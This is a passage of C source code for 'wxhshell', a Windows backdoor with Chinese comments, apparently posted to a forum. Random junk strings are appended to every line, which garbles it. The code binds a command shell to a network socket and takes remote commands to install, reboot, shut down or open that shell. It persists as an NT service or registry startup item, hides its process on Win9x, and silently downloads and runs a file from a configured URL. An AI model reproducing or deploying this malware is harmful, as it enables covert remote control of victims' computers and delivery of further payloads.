    switch(cmd[0]) { 5>q|c`&}E  
  7[:9vY  
  // 帮助 DPi%[CRH  
  case '?': { ;]MHU/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); CO1D.5  
    break; cxrUk$f  
  } '>Y"s|  
  // 安装 .wx; !9  
  case 'i': { JMw1qPJQ  
    if(Install()) r<Ll>R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )`^t,x<S  
    else d$kGYMT"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s*:J=+D]G  
    break; VLN=9  
    } :sFP{rFx~  
  // 卸载 CfoSow-  
  case 'r': { Ip( IGR"  
    if(Uninstall()) S?*v p=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N|T%cdh:/  
    else qp^O\>c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xRJv_=dT  
    break; "Q#/J)N  
    } 'i{kuTv  
  // 显示 wxhshell 所在路径 _UYt  
  case 'p': { |SZRO,7x  
    char svExeFile[MAX_PATH]; 3.?PdK&C  
    strcpy(svExeFile,"\n\r"); Ej ip%m  
      strcat(svExeFile,ExeFile); 4\Y2{Z>P?  
        send(wsh,svExeFile,strlen(svExeFile),0); b|wCR%  
    break; *;(LKRV  
    } ,;'9PsIS^  
  // 重启 v}IkY  
  case 'b': { ngcXS2S_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $OHY^IE(  
    if(Boot(REBOOT)) #]oVVf_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YL=?Nk/  
    else { AM1J ^Dp  
    closesocket(wsh); "6lf~%R"  
    ExitThread(0); OA_:_%a(  
    } LXG,IG  
    break; )$I;)` q  
    } /<9VKMR_k  
  // 关机 :z56!qU  
  case 'd': { !%_Z>a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xXE/pIXw  
    if(Boot(SHUTDOWN)) PtCwr)B,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q_euNoA0  
    else { vAbMU  
    closesocket(wsh); =GTltFqI1  
    ExitThread(0); l!<Nw8+U  
    } E#`=xg  
    break; {^1GHU  
    } \Q|1I  
  // 获取shell G@oY2sM"  
  case 's': { 3aQWzEnh  
    CmdShell(wsh); :t8(w>oW  
    closesocket(wsh); =M>1;Qr<Z/  
    ExitThread(0); D%N^iJC,9  
    break; =2BGS\$#  
  } j#"?Oe{_1  
  // 退出 t(-noy)  
  case 'x': { GN /]^{D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PCH&eTKN  
    CloseIt(wsh); RRqHo~*0  
    break; qg vg MWj  
    } L@2T  
  // 离开 }a,j1r_Hl&  
  case 'q': { 5*xk8*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xI55pj*  
    closesocket(wsh);  H`G[QC  
    WSACleanup(); DF-`nD  
    exit(1); b{=2#J-  
    break; 8 qt,sU  
        } iv2did4  
  } x'{L%c>L  
  } )C5<puh  
m:59f9WXA  
  // 提示信息 :D8V*F6P  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ='q:Io?T  
} 2i;G3"\  
  } |G~LJsXW!v  
p [4/Nq,c  
  return; BK]bSj  
} n$g g$<  
DnS# cs~  
// shell模块句柄 F=U3o=-:  
int CmdShell(SOCKET sock) ,o& &d.  
{ ^&MMtWR  
STARTUPINFO si;  $J>GCY  
ZeroMemory(&si,sizeof(si)); acz8 H 0cS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o;.PZi2k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d>*?C!xE  
PROCESS_INFORMATION ProcessInfo; .8S6;xnkC  
char cmdline[]="cmd"; NOLw119K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 47ra`*  
  return 0; _nOJ.G  
} m{  .'55  
(ec?_N0=  
// 自身启动模式 abh='5H|^|  
int StartFromService(void) .p  NWd  
{ Fd*)1FQKT  
typedef struct <[ />M  
{ Z|K+{{C  
  DWORD ExitStatus; 5:6as^i:b  
  DWORD PebBaseAddress; v*SSc5gFG  
  DWORD AffinityMask; AA"?2dF  
  DWORD BasePriority; obKWnet  
  ULONG UniqueProcessId;  ^E*W B~  
  ULONG InheritedFromUniqueProcessId; @r]wZ~@  
}   PROCESS_BASIC_INFORMATION; x*Y&s<  
:p0|4g  
PROCNTQSIP NtQueryInformationProcess; :'9%~q.D4  
HpSmB[WF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o?$kcI4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]ppi962Z  
+dw$IMwb  
  HANDLE             hProcess; tfW/Mf  
  PROCESS_BASIC_INFORMATION pbi; Z{s&myd  
Y u\<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); la:i!q AH  
  if(NULL == hInst ) return 0; D7H,49#1Q  
@d]I3?`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sgp5b$2T.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $_CE!_G&)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =p,+a/*  
W L$nchS9  
  if (!NtQueryInformationProcess) return 0; v!n\A}^:  
d0$dQg  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 23 j{bK  
  if(!hProcess) return 0; SQhk)S  
w DswK "T  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T+ey>[  
.}n,  
  CloseHandle(hProcess); WPi^;c8  
YUU|!A8x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?K%&N99c!  
if(hProcess==NULL) return 0; /fC@T  
 =+9.X8SP  
HMODULE hMod; KKP}fN  
char procName[255]; f_a.BTtNO  
unsigned long cbNeeded; Pj9n`LwM  
8.FBgZh*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )nmLgsg  
):OGhWq  
  CloseHandle(hProcess); NSH20$A<  
}_93}e  
if(strstr(procName,"services")) return 1; // 以服务启动 B?`n@/  
rqbX9M^  
  return 0; // 注册表启动 _9!*laR!2  
} 8 #fzL7  
7hwl[knyB  
// 主模块 =<mpZ'9gW  
int StartWxhshell(LPSTR lpCmdLine)  lc9aDt  
{ Jlw%t!Kx  
  SOCKET wsl; /z:pid,_0  
BOOL val=TRUE; g /D@/AU1u  
  int port=0; VP[ -BK[  
  struct sockaddr_in door; XDs )  
1T:M?N8J  
  if(wscfg.ws_autoins) Install(); \?uaHX`1  
I;H6E  
port=atoi(lpCmdLine); d#P3 <  
CBw/a0Uck  
if(port<=0) port=wscfg.ws_port; EV{kd.=f  
'{=dEEi  
  WSADATA data; 5N "fD{v{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XOgl> 1O  
V^fSrW]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7KIOI,qb6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L".Qf|b*  
  door.sin_family = AF_INET; td!WgL,m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); V ;Kzh$^rk  
  door.sin_port = htons(port); ?mKj+ Bk2  
*#+e_)d  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3]xe7F'`  
closesocket(wsl); 0I_A$Z,x  
return 1; 'PPVM@)fU  
} tdZ,sHY6  
*lHI\5  
  if(listen(wsl,2) == INVALID_SOCKET) { @i'24Q[6  
closesocket(wsl); #;FHyKx  
return 1; *V+6409m  
} _/;k ;$gDp  
  Wxhshell(wsl); &'`q&U1x  
  WSACleanup(); :N03$Tvl  
[0|g3K !A  
return 0; UB[tYZ  
ngF5ywIG  
} RDU,yTHq  
n+Ofbiz@  
// 以NT服务方式启动 L4Ep7=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) '@enl]J  
{ BDoL)}bRE  
DWORD   status = 0; +~, qb1aZ  
  DWORD   specificError = 0xfffffff; FlJ(V  
t}m6];  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ZqKUz5M4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *zoAD|0N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9F+i+(\,b  
  serviceStatus.dwWin32ExitCode     = 0; ghvF%-."1  
  serviceStatus.dwServiceSpecificExitCode = 0; Mda~@)7$  
  serviceStatus.dwCheckPoint       = 0; 1(!w xJ  
  serviceStatus.dwWaitHint       = 0; jP'.a. ^o$  
2 mM0\ja  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3/a$oO  
  if (hServiceStatusHandle==0) return; A*l(0`aWq  
Ju5<wjQR\  
status = GetLastError(); K07SbL7g!p  
  if (status!=NO_ERROR) BLx tS  
{ +N0V8T%~z.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ""`> v`\  
    serviceStatus.dwCheckPoint       = 0; p x;X}Cd  
    serviceStatus.dwWaitHint       = 0; 0l#{7^e  
    serviceStatus.dwWin32ExitCode     = status; jxA`RSY  
    serviceStatus.dwServiceSpecificExitCode = specificError; WBTdQG Q6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <3\t J  
    return; $47cKit|k:  
  } \(UEjlo  
GCx1lm  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Jp)>Wd  
  serviceStatus.dwCheckPoint       = 0; G<.p".o4  
  serviceStatus.dwWaitHint       = 0; GRpS^%8i@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F@Bh>Vb  
} d;(&_;  
s_Y1rD*B  
// 处理NT服务事件,比如:启动、停止 h%e}4U@X  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yjCY2T E  
{ 9G(.=aOj,  
switch(fdwControl) @l3L_;6a  
{ 4>]^1J7Wz  
case SERVICE_CONTROL_STOP: 3md yY\+&  
  serviceStatus.dwWin32ExitCode = 0; P;jl!o$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E<]l]?  
  serviceStatus.dwCheckPoint   = 0; oQJK}9QR  
  serviceStatus.dwWaitHint     = 0; 9vc3&r  
  { arf`%9M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {E!"^^0`  
  } 1M&n=s _  
  return; a&YD4DQ05  
case SERVICE_CONTROL_PAUSE: }>:v  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _2{i}L  
  break; ~7PPB|XY  
case SERVICE_CONTROL_CONTINUE: w-Zb($_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #BK\cIr  
  break; #5HJW[9  
case SERVICE_CONTROL_INTERROGATE: 5A]IiX4Z  
  break; Zf;1U98oC  
}; (:3rANY|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1G/bqIMg63  
} Ve>*KHDSt  
S3nA}1R  
// 标准应用程序主函数 F?2(U\k#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @]lKQZ^2&  
{ .E:QZH'M  
?! dp0<  
// 获取操作系统版本 @Tmqw(n{  
OsIsNt=GetOsVer(); Nt42v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *LJN2;  
BBw]>*  
  // 从命令行安装 kJIKULf  
  if(strpbrk(lpCmdLine,"iI")) Install(); k)\Yl`4au  
~ ar8e  
  // 下载执行文件 Z[8{V  
if(wscfg.ws_downexe) { pKO\tkMJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vG WX=O  
  WinExec(wscfg.ws_filenam,SW_HIDE); btb-MSkO  
} V.J[Uwf  
d#7 z N  
if(!OsIsNt) { MNip;S_j  
// 如果时win9x,隐藏进程并且设置为注册表启动 i}Ea>bi{N  
HideProc(); %)_R>.>  
StartWxhshell(lpCmdLine); Pz3jc|Ga  
} :,<e  
else _QCspPT' c  
  if(StartFromService()) ,vP9oY[n  
  // 以服务方式启动 G`E%uyjG$j  
  StartServiceCtrlDispatcher(DispatchTable); *g&[?y`UC  
else }8 A]  
  // 普通方式启动 88Yp0T<1  
  StartWxhshell(lpCmdLine); %w7J0p  
CD1}.h  
return 0; ry}CND(nB  
}
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只看该作者 1 发表于: 2006-10-10
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